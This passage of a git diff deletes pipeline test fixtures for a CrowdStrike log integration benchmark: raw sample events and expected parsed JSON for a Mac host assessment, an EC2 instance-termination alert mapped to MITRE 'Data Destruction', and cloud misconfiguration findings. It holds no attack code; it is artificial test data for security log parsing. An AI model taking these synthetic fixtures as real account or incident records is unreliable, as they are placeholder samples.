-                "original": "{\"aid\":\"11111111111111111111111111111111\",\"cid\":\"22222222222222222222222222222222\",\"hostname\":\"example-XXXXXXXXX\",\"os_version\":\"Sonoma (14)\",\"product_name\":\"\",\"product_type_desc\":\"Workstation\",\"host_hidden_status\":\"VISIBLE\",\"event_platform\":\"Mac\",\"scores\":{\"os\":89,\"sensor\":100,\"overall\":97,\"version\":\"3.8.1\",\"modified_time\":\"2024-02-13T22:33:34.077075097Z\"},\"assessments\":{\"analytics_and_improvements_mac\":\"yes\",\"application_firewall_mac\":\"yes\",\"crendential_dumping_hash_mac\":\"yes\",\"crendential_dumping_kcpassword_mac\":\"yes\",\"crowdstrike_full_disk_access\":\"yes\",\"execution_blocking_custom_blocking_enabled_mac\":\"yes\",\"execution_blocking_intel_threats_enabled_mac\":\"yes\",\"execution_blocking_suspicious_processes_enabled_mac\":\"yes\",\"file_vault_enabled_mac\":\"yes\",\"gatekeeper_mac\":\"yes\",\"internet_sharing_mac\":\"yes\",\"mac_os_version\":\"yes\",\"ml_adware_detection_mac\":\"yes\",\"ml_adware_prevention_mac\":\"yes\",\"ml_cloud_antimalware_detection_mac\":\"yes\",\"ml_cloud_antimalware_prevention_mac\":\"yes\",\"ml_sensor_adware_and_pup_detection_mac\":\"yes\",\"ml_sensor_adware_and_pup_prevention_mac\":\"yes\",\"ml_sensor_antimalware_detection_mac\":\"yes\",\"ml_sensor_antimalware_prevention_mac\":\"yes\",\"quarantine_mac\":\"yes\",\"real_time_response_enabled_mac\":\"yes\",\"remote_login_mac\":\"yes\",\"script_based_execution_monitoring_mac\":\"yes\",\"sip_enabled_mac\":\"yes\",\"stealth_mode_mac\":\"no\",\"system_full_disk_access_mac\":\"no\",\"unauthorized_remote_access_chopper_mac\":\"yes\",\"unauthorized_remote_access_empyre_mac\":\"yes\",\"unauthorized_remote_access_xpcom_mac\":\"yes\"},\"event_type\":\"ZeroTrustHostAssessment\"}"
-            },
-            "host": {
-                "hostname": "example-XXXXXXXXX",
-                "id": "11111111111111111111111111111111",
-                "name": "example-XXXXXXXXX",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "observer": {
-                "serial_number": "11111111111111111111111111111111"
-            },
-            "related": {
-                "hosts": [
-                    "example-XXXXXXXXX"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-10-01T09:58:32.519Z",
-            "crowdstrike": {
-                "EventType": "ZeroTrustHostAssessment",
-                "HostHiddenStatus": "VISIBLE",
-                "assessments": {
-                    "analytics_and_improvements_mac": "yes",
-                    "application_firewall_mac": "yes",
-                    "crendential_dumping_hash_mac": "yes",
-                    "crendential_dumping_kcpassword_mac": "yes",
-                    "crowdstrike_full_disk_access": "yes",
-                    "execution_blocking_custom_blocking_enabled_mac": "yes",
-                    "execution_blocking_intel_threats_enabled_mac": "yes",
-                    "execution_blocking_suspicious_processes_enabled_mac": "yes",
-                    "file_vault_enabled_mac": "yes",
-                    "gatekeeper_mac": "yes",
-                    "internet_sharing_mac": "yes",
-                    "mac_os_version": "yes",
-                    "ml_adware_detection_mac": "yes",
-                    "ml_adware_prevention_mac": "yes",
-                    "ml_cloud_antimalware_detection_mac": "yes",
-                    "ml_cloud_antimalware_prevention_mac": "yes",
-                    "ml_sensor_adware_and_pup_detection_mac": "yes",
-                    "ml_sensor_adware_and_pup_prevention_mac": "yes",
-                    "ml_sensor_antimalware_detection_mac": "yes",
-                    "ml_sensor_antimalware_prevention_mac": "yes",
-                    "quarantine_mac": "yes",
-                    "real_time_response_enabled_mac": "yes",
-                    "remote_login_mac": "yes",
-                    "script_based_execution_monitoring_mac": "yes",
-                    "sip_enabled_mac": "yes",
-                    "stealth_mode_mac": "no",
-                    "system_full_disk_access_mac": "no",
-                    "unauthorized_remote_access_chopper_mac": "yes",
-                    "unauthorized_remote_access_empyre_mac": "yes",
-                    "unauthorized_remote_access_xpcom_mac": "yes"
-                },
-                "cid": "22222222222222222222222222222222",
-                "os_version": "Sonoma (14)",
-                "product_type_desc": "Workstation",
-                "scores": {
-                    "modified_time": "2024-02-13T22:33:34.077Z",
-                    "os": 89,
-                    "overall": 97,
-                    "sensor": 100,
-                    "version": "3.8.1"
-                }
-            },
-            "device": {
-                "id": "11111111111111111111111111111111"
-            },
-            "event": {
-                "created": "2020-10-01T09:58:32.519Z",
-                "id": "|11111111111111111111111111111111|22222222222222222222222222222222",
-                "original": "{\"aid\":\"11111111111111111111111111111111\",\"cid\":\"22222222222222222222222222222222\",\"hostname\":\"example-XXXXXXXXX\",\"os_version\":\"Sonoma (14)\",\"product_name\":\"\",\"product_type_desc\":\"Workstation\",\"host_hidden_status\":\"VISIBLE\",\"event_platform\":\"Mac\",\"scores\":{\"os\":\"89\",\"sensor\":\"100\",\"overall\":\"97\",\"version\":\"3.8.1\",\"modified_time\":\"2024-02-13T22:33:34.077075097Z\"},\"assessments\":{\"analytics_and_improvements_mac\":\"yes\",\"application_firewall_mac\":\"yes\",\"crendential_dumping_hash_mac\":\"yes\",\"crendential_dumping_kcpassword_mac\":\"yes\",\"crowdstrike_full_disk_access\":\"yes\",\"execution_blocking_custom_blocking_enabled_mac\":\"yes\",\"execution_blocking_intel_threats_enabled_mac\":\"yes\",\"execution_blocking_suspicious_processes_enabled_mac\":\"yes\",\"file_vault_enabled_mac\":\"yes\",\"gatekeeper_mac\":\"yes\",\"internet_sharing_mac\":\"yes\",\"mac_os_version\":\"yes\",\"ml_adware_detection_mac\":\"yes\",\"ml_adware_prevention_mac\":\"yes\",\"ml_cloud_antimalware_detection_mac\":\"yes\",\"ml_cloud_antimalware_prevention_mac\":\"yes\",\"ml_sensor_adware_and_pup_detection_mac\":\"yes\",\"ml_sensor_adware_and_pup_prevention_mac\":\"yes\",\"ml_sensor_antimalware_detection_mac\":\"yes\",\"ml_sensor_antimalware_prevention_mac\":\"yes\",\"quarantine_mac\":\"yes\",\"real_time_response_enabled_mac\":\"yes\",\"remote_login_mac\":\"yes\",\"script_based_execution_monitoring_mac\":\"yes\",\"sip_enabled_mac\":\"yes\",\"stealth_mode_mac\":\"no\",\"system_full_disk_access_mac\":\"no\",\"unauthorized_remote_access_chopper_mac\":\"yes\",\"unauthorized_remote_access_empyre_mac\":\"yes\",\"unauthorized_remote_access_xpcom_mac\":\"yes\"},\"event_type\":\"ZeroTrustHostAssessment\",\"timestamp\":\"1601546312519\"}"
-            },
-            "host": {
-                "hostname": "example-XXXXXXXXX",
-                "id": "11111111111111111111111111111111",
-                "name": "example-XXXXXXXXX",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "observer": {
-                "serial_number": "11111111111111111111111111111111"
-            },
-            "related": {
-                "hosts": [
-                    "example-XXXXXXXXX"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log
deleted file mode 100644
index 99908ecd78..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log
+++ /dev/null
@@ -1 +0,0 @@
-{"mitre_attack_technique":"Data Destruction","response_elements":"{\"requestId\":\"8db1ca21-4d8b-4c08-b7bc-a63186cd7740\",\"instancesSet\":{\"items\":[{\"currentState\":{\"code\":32,\"name\":\"shutting-down\"},\"previousState\":{\"code\":16,\"name\":\"running\"},\"instanceId\":\"i-0e244c4469aea5be0\"}]}}","cloud_service_friendly":"EC2","aws_account_id":"123456789012","policy_severity":1,"event_type":"AwsApiCall","event_name":"TerminateInstances","mitre_attack_tactic":"Impact","event_source":"ec2.amazonaws.com","account":"123456789012","cloud_region":"us-east-2","event_category":"Management","cloud_provider":"aws","attack_types":["Destruction"],"event_created":"2025-10-02T19:51:16Z","user_identity_principal_id":"AIDASDJDMBHZXZxxxxxx","event-type":"cspm_policy_249","policy_id":249,"request_id":"8db1ca21-4d8b-4c08-b7bc-a63186cd7740","vertex_type":"ioa","cid":"4092825518eaf67377a6e4492ae44577","request_parameters":"{\"instancesSet\":{\"items\":[{\"instanceId\":\"i-0e244c4469aea5be0\"}]},\"force\":false,\"skipOsShutdown\":false}","vertex_id":"249:c7c1f904-44bb-4690-9816-c510246c3b6a:ioa","user_identity_user_name":"buildkite","policy_description":"An IAM user was detected to have manually deleted an EC2 instance. This may indicate malicious activity in that it was not auto-scaling or some other automation that deleted the instance.","user_identity_arn":"arn:aws:iam::123456789012:user/services/buildkite","source_ip_address":"89.160.20.112","user_identity_account_id":"123456789012","user_identity_mfa_authenticated":"false","user_agent":"APN/1.0 HashiCorp/1.0 Terraform/1.12.1 (+https://www.terraform.io) terraform-provider-aws/4.61.0 (+https://registry.terraform.io/providers/hashicorp/aws) aws-sdk-go/1.44.232 (go1.19.7; linux; amd64)","cloudplatform":1,"service":"EC2","event_id":"c7c1f904-44bb-4690-9816-c510246c3b6a","read_only":false,"policy_statement":"EC2 instance manually deleted by IAM user","management_event":true,"user_identity_access_key_id":"AKIASDJDMBHZ3xxxxxxx"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log-expected.json
deleted file mode 100644
index b07be278ba..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log-expected.json
+++ /dev/null
@@ -1,125 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2025-10-02T19:51:16.000Z",
-            "cloud": {
-                "account": {
-                    "id": "123456789012"
-                },
-                "provider": "aws",
-                "region": "us-east-2",
-                "service": {
-                    "name": "EC2"
-                }
-            },
-            "crowdstrike": {
-                "EventType": "AwsApiCall",
-                "SeverityName": "high",
-                "attack_types": [
-                    "Destruction"
-                ],
-                "aws_account_id": "123456789012",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "cloudplatform": "1",
-                "event-type": "cspm_policy_249",
-                "event_category": "Management",
-                "management_event": true,
-                "policy_severity": 1,
-                "read_only": false,
-                "request_id": "8db1ca21-4d8b-4c08-b7bc-a63186cd7740",
-                "request_parameters": "{\"instancesSet\":{\"items\":[{\"instanceId\":\"i-0e244c4469aea5be0\"}]},\"force\":false,\"skipOsShutdown\":false}",
-                "response_elements": "{\"requestId\":\"8db1ca21-4d8b-4c08-b7bc-a63186cd7740\",\"instancesSet\":{\"items\":[{\"currentState\":{\"code\":32,\"name\":\"shutting-down\"},\"previousState\":{\"code\":16,\"name\":\"running\"},\"instanceId\":\"i-0e244c4469aea5be0\"}]}}",
-                "service": "EC2",
-                "user_identity_access_key_id": "AKIASDJDMBHZ3xxxxxxx",
-                "user_identity_account_id": "123456789012",
-                "user_identity_arn": "arn:aws:iam::123456789012:user/services/buildkite",
-                "user_identity_mfa_authenticated": false,
-                "vertex_id": "249:c7c1f904-44bb-4690-9816-c510246c3b6a:ioa",
-                "vertex_type": "ioa"
-            },
-            "event": {
-                "action": "TerminateInstances",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2025-10-02T19:51:16.000Z",
-                "id": "c7c1f904-44bb-4690-9816-c510246c3b6a",
-                "kind": "alert",
-                "original": "{\"mitre_attack_technique\":\"Data Destruction\",\"response_elements\":\"{\\\"requestId\\\":\\\"8db1ca21-4d8b-4c08-b7bc-a63186cd7740\\\",\\\"instancesSet\\\":{\\\"items\\\":[{\\\"currentState\\\":{\\\"code\\\":32,\\\"name\\\":\\\"shutting-down\\\"},\\\"previousState\\\":{\\\"code\\\":16,\\\"name\\\":\\\"running\\\"},\\\"instanceId\\\":\\\"i-0e244c4469aea5be0\\\"}]}}\",\"cloud_service_friendly\":\"EC2\",\"aws_account_id\":\"123456789012\",\"policy_severity\":1,\"event_type\":\"AwsApiCall\",\"event_name\":\"TerminateInstances\",\"mitre_attack_tactic\":\"Impact\",\"event_source\":\"ec2.amazonaws.com\",\"account\":\"123456789012\",\"cloud_region\":\"us-east-2\",\"event_category\":\"Management\",\"cloud_provider\":\"aws\",\"attack_types\":[\"Destruction\"],\"event_created\":\"2025-10-02T19:51:16Z\",\"user_identity_principal_id\":\"AIDASDJDMBHZXZxxxxxx\",\"event-type\":\"cspm_policy_249\",\"policy_id\":249,\"request_id\":\"8db1ca21-4d8b-4c08-b7bc-a63186cd7740\",\"vertex_type\":\"ioa\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"request_parameters\":\"{\\\"instancesSet\\\":{\\\"items\\\":[{\\\"instanceId\\\":\\\"i-0e244c4469aea5be0\\\"}]},\\\"force\\\":false,\\\"skipOsShutdown\\\":false}\",\"vertex_id\":\"249:c7c1f904-44bb-4690-9816-c510246c3b6a:ioa\",\"user_identity_user_name\":\"buildkite\",\"policy_description\":\"An IAM user was detected to have manually deleted an EC2 instance. This may indicate malicious activity in that it was not auto-scaling or some other automation that deleted the instance.\",\"user_identity_arn\":\"arn:aws:iam::123456789012:user/services/buildkite\",\"source_ip_address\":\"89.160.20.112\",\"user_identity_account_id\":\"123456789012\",\"user_identity_mfa_authenticated\":\"false\",\"user_agent\":\"APN/1.0 HashiCorp/1.0 Terraform/1.12.1 (+https://www.terraform.io) terraform-provider-aws/4.61.0 (+https://registry.terraform.io/providers/hashicorp/aws) aws-sdk-go/1.44.232 (go1.19.7; linux; amd64)\",\"cloudplatform\":1,\"service\":\"EC2\",\"event_id\":\"c7c1f904-44bb-4690-9816-c510246c3b6a\",\"read_only\":false,\"policy_statement\":\"EC2 instance manually deleted by IAM user\",\"management_event\":true,\"user_identity_access_key_id\":\"AKIASDJDMBHZ3xxxxxxx\"}",
-                "severity": 73,
-                "type": [
-                    "info",
-                    "change"
-                ]
-            },
-            "message": "EC2 instance manually deleted by IAM user",
-            "related": {
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "user": [
-                    "buildkite",
-                    "AIDASDJDMBHZXZxxxxxx"
-                ]
-            },
-            "rule": {
-                "description": "An IAM user was detected to have manually deleted an EC2 instance. This may indicate malicious activity in that it was not auto-scaling or some other automation that deleted the instance.",
-                "id": "249",
-                "name": "EC2 instance manually deleted by IAM user"
-            },
-            "source": {
-                "address": "89.160.20.112",
-                "as": {
-                    "number": 29518,
-                    "organization": {
-                        "name": "Bredband2 AB"
-                    }
-                },
-                "domain": "ec2.amazonaws.com",
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": "89.160.20.112"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "tactic": {
-                    "name": [
-                        "Impact"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Data Destruction"
-                    ]
-                }
-            },
-            "user": {
-                "id": "AIDASDJDMBHZXZxxxxxx",
-                "name": "buildkite"
-            },
-            "user_agent": {
-                "device": {
-                    "name": "Other"
-                },
-                "name": "aws-sdk-go",
-                "original": "APN/1.0 HashiCorp/1.0 Terraform/1.12.1 (+https://www.terraform.io) terraform-provider-aws/4.61.0 (+https://registry.terraform.io/providers/hashicorp/aws) aws-sdk-go/1.44.232 (go1.19.7; linux; amd64)",
-                "os": {
-                    "name": "Linux"
-                },
-                "version": "1.44.232"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log
deleted file mode 100644
index 585ad940ab..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log
+++ /dev/null
@@ -1 +0,0 @@
-{"event_simpleName":"CloudSecurityIOMEvaluation","cid":"4092825518eaf67377a6e4492ae44577","crn":"aws|123456789012|global|AWS::Account|123456789012","created":"2025-10-13T03:59:08.974734575Z","firstDetected":"2025-10-08T13:03:26.203492662Z","lastDetected":"2025-10-13T03:59:08.974734575Z","revision":7,"ruleId":"abc16f84-2de2-4f2e-9f9c-d510f47b75fb","ruleName":"[Custom Test] EBS volume encryption is not enabled by default in all regions","legacyPolicyId":100056,"severity":"informational","status":"Unresolved","findings":[{"name":"Encryption Enabled","value":"False"},{"name":"Region","value":"[\"ca-central-1\",\"sa-east-1\",\"eu-central-1\",\"eu-west-1\",\"us-east-1\",\"us-east-2\",\"us-west-2\",\"ap-northeast-2\",\"ap-southeast-1\",\"ap-south-1\",\"us-west-1\",\"eu-west-3\",\"ap-northeast-3\",\"ap-southeast-2\",\"ap-northeast-1\",\"eu-west-2\",\"eu-north-1\"]"}],"url":"https://us-east-1.console.aws.amazon.com/ec2/home?region=us-east-1#Volumes:","resource":{"accountId":"123456789012","cloudProvider":"aws","region":"global","captured":"2025-10-13T03:59:08.167485551Z","resourceId":"123456789012","resourceType":"AWS::Account","legacyResourceId":"123456789012","legacyResourceTypeId":116},"compliance":{"frameworks":["Amazon","CIS"],"versions":["11.2024","v1.0.0"],"benchmarkNames":["AWS Well-Architected Framework (Section 2 - Security) 11.2024","AWS Foundational Security Best Practices v1.0.0"],"sections":["SEC 8. How do you protect your data at rest?","EC2"],"requirements":["SEC08-BP03","EC2.7"]},"threat":{"framework":"MITRE ATT\u0026CK","technique":{"id":"T1530","name":"Data from Cloud Storage","reference":"https://attack.mitre.org/techniques/T1530/"},"tactic":{"id":"TA0009","name":"Collection","reference":"https://attack.mitre.org/tactics/TA0009/"}}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log-expected.json
deleted file mode 100644
index fa91c4f662..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log-expected.json
+++ /dev/null
@@ -1,110 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2025-10-13T03:59:08.974Z",
-            "cloud": {
-                "account": {
-                    "id": "123456789012"
-                },
-                "provider": "aws",
-                "region": "global"
-            },
-            "crowdstrike": {
-                "SeverityName": "informational",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "compliance": {
-                    "benchmarkNames": [
-                        "AWS Well-Architected Framework (Section 2 - Security) 11.2024",
-                        "AWS Foundational Security Best Practices v1.0.0"
-                    ],
-                    "frameworks": [
-                        "Amazon",
-                        "CIS"
-                    ],
-                    "requirements": [
-                        "SEC08-BP03",
-                        "EC2.7"
-                    ],
-                    "sections": [
-                        "SEC 8. How do you protect your data at rest?",
-                        "EC2"
-                    ],
-                    "versions": [
-                        "11.2024",
-                        "v1.0.0"
-                    ]
-                },
-                "created": "2025-10-13T03:59:08.974Z",
-                "crn": "aws|123456789012|global|AWS::Account|123456789012",
-                "findings": [
-                    {
-                        "name": "Encryption Enabled",
-                        "value": "False"
-                    },
-                    {
-                        "name": "Region",
-                        "value": "[\"ca-central-1\",\"sa-east-1\",\"eu-central-1\",\"eu-west-1\",\"us-east-1\",\"us-east-2\",\"us-west-2\",\"ap-northeast-2\",\"ap-southeast-1\",\"ap-south-1\",\"us-west-1\",\"eu-west-3\",\"ap-northeast-3\",\"ap-southeast-2\",\"ap-northeast-1\",\"eu-west-2\",\"eu-north-1\"]"
-                    }
-                ],
-                "firstDetected": "2025-10-08T13:03:26.203Z",
-                "lastDetected": "2025-10-13T03:59:08.974Z",
-                "legacyPolicyId": 100056,
-                "resource": {
-                    "captured": "2025-10-13T03:59:08.167Z",
-                    "legacyResourceId": "123456789012",
-                    "legacyResourceTypeId": 116,
-                    "resourceId": "123456789012",
-                    "resourceType": "AWS::Account"
-                },
-                "revision": 7,
-                "status": "Unresolved",
-                "url": "https://us-east-1.console.aws.amazon.com/ec2/home?region=us-east-1#Volumes:"
-            },
-            "event": {
-                "action": "CloudSecurityIOMEvaluation",
-                "category": [
-                    "configuration"
-                ],
-                "id": "||4092825518eaf67377a6e4492ae44577",
-                "kind": "alert",
-                "original": "{\"event_simpleName\":\"CloudSecurityIOMEvaluation\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"crn\":\"aws|123456789012|global|AWS::Account|123456789012\",\"created\":\"2025-10-13T03:59:08.974734575Z\",\"firstDetected\":\"2025-10-08T13:03:26.203492662Z\",\"lastDetected\":\"2025-10-13T03:59:08.974734575Z\",\"revision\":7,\"ruleId\":\"abc16f84-2de2-4f2e-9f9c-d510f47b75fb\",\"ruleName\":\"[Custom Test] EBS volume encryption is not enabled by default in all regions\",\"legacyPolicyId\":100056,\"severity\":\"informational\",\"status\":\"Unresolved\",\"findings\":[{\"name\":\"Encryption Enabled\",\"value\":\"False\"},{\"name\":\"Region\",\"value\":\"[\\\"ca-central-1\\\",\\\"sa-east-1\\\",\\\"eu-central-1\\\",\\\"eu-west-1\\\",\\\"us-east-1\\\",\\\"us-east-2\\\",\\\"us-west-2\\\",\\\"ap-northeast-2\\\",\\\"ap-southeast-1\\\",\\\"ap-south-1\\\",\\\"us-west-1\\\",\\\"eu-west-3\\\",\\\"ap-northeast-3\\\",\\\"ap-southeast-2\\\",\\\"ap-northeast-1\\\",\\\"eu-west-2\\\",\\\"eu-north-1\\\"]\"}],\"url\":\"https://us-east-1.console.aws.amazon.com/ec2/home?region=us-east-1#Volumes:\",\"resource\":{\"accountId\":\"123456789012\",\"cloudProvider\":\"aws\",\"region\":\"global\",\"captured\":\"2025-10-13T03:59:08.167485551Z\",\"resourceId\":\"123456789012\",\"resourceType\":\"AWS::Account\",\"legacyResourceId\":\"123456789012\",\"legacyResourceTypeId\":116},\"compliance\":{\"frameworks\":[\"Amazon\",\"CIS\"],\"versions\":[\"11.2024\",\"v1.0.0\"],\"benchmarkNames\":[\"AWS Well-Architected Framework (Section 2 - Security) 11.2024\",\"AWS Foundational Security Best Practices v1.0.0\"],\"sections\":[\"SEC 8. How do you protect your data at rest?\",\"EC2\"],\"requirements\":[\"SEC08-BP03\",\"EC2.7\"]},\"threat\":{\"framework\":\"MITRE ATT\\u0026CK\",\"technique\":{\"id\":\"T1530\",\"name\":\"Data from Cloud Storage\",\"reference\":\"https://attack.mitre.org/techniques/T1530/\"},\"tactic\":{\"id\":\"TA0009\",\"name\":\"Collection\",\"reference\":\"https://attack.mitre.org/tactics/TA0009/\"}}}",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "message": "[Custom Test] EBS volume encryption is not enabled by default in all regions",
-            "rule": {
-                "id": "abc16f84-2de2-4f2e-9f9c-d510f47b75fb",
-                "name": "[Custom Test] EBS volume encryption is not enabled by default in all regions"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "tactic": {
-                    "id": [
-                        "TA0009"
-                    ],
-                    "name": [
-                        "Collection"
-                    ],
-                    "reference": [
-                        "https://attack.mitre.org/tactics/TA0009/"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "T1530"
-                    ],
-                    "name": [
-                        "Data from Cloud Storage"
-                    ],
-                    "reference": [
-                        "https://attack.mitre.org/techniques/T1530/"
-                    ]
-                }
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log
deleted file mode 100644
index febbfc9589..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log
+++ /dev/null
@@ -1,2 +0,0 @@
-{"Tags":null,"service":1,"internal_only":false,"cloud_asset_type":86,"policy_statement":"VPC subnets should not allow automatic public IP assignment","PolicyStatement":"VPC subnets should not allow automatic public IP assignment","policy_severity":2,"mitre_attack_tactics_url":"https://attack.mitre.org/tactics/TA0001/","ResourceId":"subnet-48686135","resource_url":"https://eu-central-1.console.aws.amazon.com/vpc/home?region=eu-central-1#SubnetDetails:subnetId=subnet-48686135","Finding":"Map Public IP On Launch:True|Subnet Id:subnet-48686135|Subnet Owner:123456789012","ResourceAttributes":{"Enable Resource Name A Record":false,"IPv6 Native":false},"cloudplatform":"aws","Severity":2,"Disposition":"Failed","Region":"eu-central-1","finding":"Map Public IP On Launch:True|Subnet Id:subnet-48686135|Subnet Owner:123456789012","policy_id":547,"PolicyId":547,"CloudPlatform":"AWS","CloudService":"EC2","disposition":"Failed","mitre_attack_tactics_name":"Initial Access","AccountId":"123456789012","region":"eu-central-1","pci_benchmark_ids":"{263}","cisa_benchmark_ids":"{16}","nist_benchmark_ids":"{16,65,66,531}","ResourceIdType":"AWS Subnet Id","ResourceCreateTime":"0001-01-01T00:00:00Z","ResourceUrl":"https://eu-central-1.console.aws.amazon.com/vpc/home?region=eu-central-1#SubnetDetails:subnetId=subnet-48686135","event-type":"cspm_policy_547","iso_benchmark_ids":"{10,15,62,63}","soc2_benchmark_ids":"{15,17}","cis_benchmark_ids":"{714}"}
-{"event-type":"custom_detection_policy","AccountId":"111111111111","cid":"4c09185e44d1xxxxxxxxxf9d6ac1fd5425","CloudPlatform":"AWS","cloudplatform":1,"disposition":"Failed","Finding":"Auto Minor Version Upgrade:false","internal_only":false,"policy_id":1224,"policy_statement":"RDS minor version upgrade is disabled","region":"us-west-2","ResourceAttributes":"{\"Resource Creation Time\":\"1717613931\",\"Db Instance Status\":\"available\",\"Allocated Storage\":\"100\",\"Storage Encrypted\":true,\"Iam Database Authentication Enabled\":false,\"Availability Zone\":\"us-west-2b\",\"Master User Name\":\"postgres\",\"Db Instance Identifier\":\"frogs-sdet-session-rds\",\"Publicly Accessible\":false,\"Region\":\"us-west-2\",\"Db Subnet Group Name\":\"frogs-sdet-rds-subnet-group\",\"Account Id\":\"111111111111\",\"Http Endpoint Enabled\":false,\"Kms Key Id\":\"arn:aws:kms:us-west-2:111111111111:key/abcdefgh-0ae7-417b-a150-f37b1346cc39\",\"Db Instance Port\":\"0\",\"Db Endpoint Address\":\"frogs-sdet-session-rds.cbckjpktxduh.us-west-2.rds.amazonaws.com\",\"Ca Certificate Identifier\":\"rds-ca-rsa2048-g1\",\"Db Name\":null,\"Tags\":{},\"Vpc Id\":\"vpc-02580c66de16e60df\",\"Db Endpoint Port\":\"5432\",\"Storage Type\":\"gp2\",\"Db Instance Class\":\"db.t3.medium\",\"Creation Date\":\"2024-06-05 18:58:51.178+00\"}","ResourceId":"frogs-sdet-session-rds","ResourceIdType":"Database Instance","ResourceUrl":"","service":"RDS","policy_severity":3,"tags":{},"cis_benchmark_ids":null,"nist_benchmark_ids":null,"pci_benchmark_ids":null,"soc2_benchmark_ids":null,"mitre_attack_tactics_name":"","mitre_attack_techniques_name":"","mitre_attack_tactics_url":"","mitre_attack_techniques_url":"","aws_account_id":"111111111111"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log-expected.json
deleted file mode 100644
index 3425278611..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log-expected.json
+++ /dev/null
@@ -1,154 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "cloud": {
-                "account": {
-                    "id": "123456789012"
-                },
-                "provider": "aws",
-                "region": "eu-central-1",
-                "service": {
-                    "name": "EC2"
-                }
-            },
-            "crowdstrike": {
-                "ResourceAttributes": {
-                    "Enable Resource Name A Record": false,
-                    "IPv6 Native": false
-                },
-                "ResourceCreateTime": "0001-01-01T00:00:00.000Z",
-                "ResourceId": "subnet-48686135",
-                "ResourceIdType": "AWS Subnet Id",
-                "Severity": 2,
-                "SeverityName": "medium",
-                "cis_benchmark_ids": [
-                    "714"
-                ],
-                "cisa_benchmark_ids": [
-                    "16"
-                ],
-                "cloud_asset_type": 86,
-                "disposition": "Failed",
-                "event-type": "cspm_policy_547",
-                "finding": "Map Public IP On Launch:True|Subnet Id:subnet-48686135|Subnet Owner:123456789012",
-                "internal_only": false,
-                "iso_benchmark_ids": [
-                    "10",
-                    "15",
-                    "62",
-                    "63"
-                ],
-                "nist_benchmark_ids": [
-                    "16",
-                    "65",
-                    "66",
-                    "531"
-                ],
-                "pci_benchmark_ids": [
-                    "263"
-                ],
-                "policy_severity": 2,
-                "resource_url": "https://eu-central-1.console.aws.amazon.com/vpc/home?region=eu-central-1#SubnetDetails:subnetId=subnet-48686135",
-                "service": "1",
-                "soc2_benchmark_ids": [
-                    "15",
-                    "17"
-                ]
-            },
-            "event": {
-                "category": [
-                    "configuration"
-                ],
-                "kind": "alert",
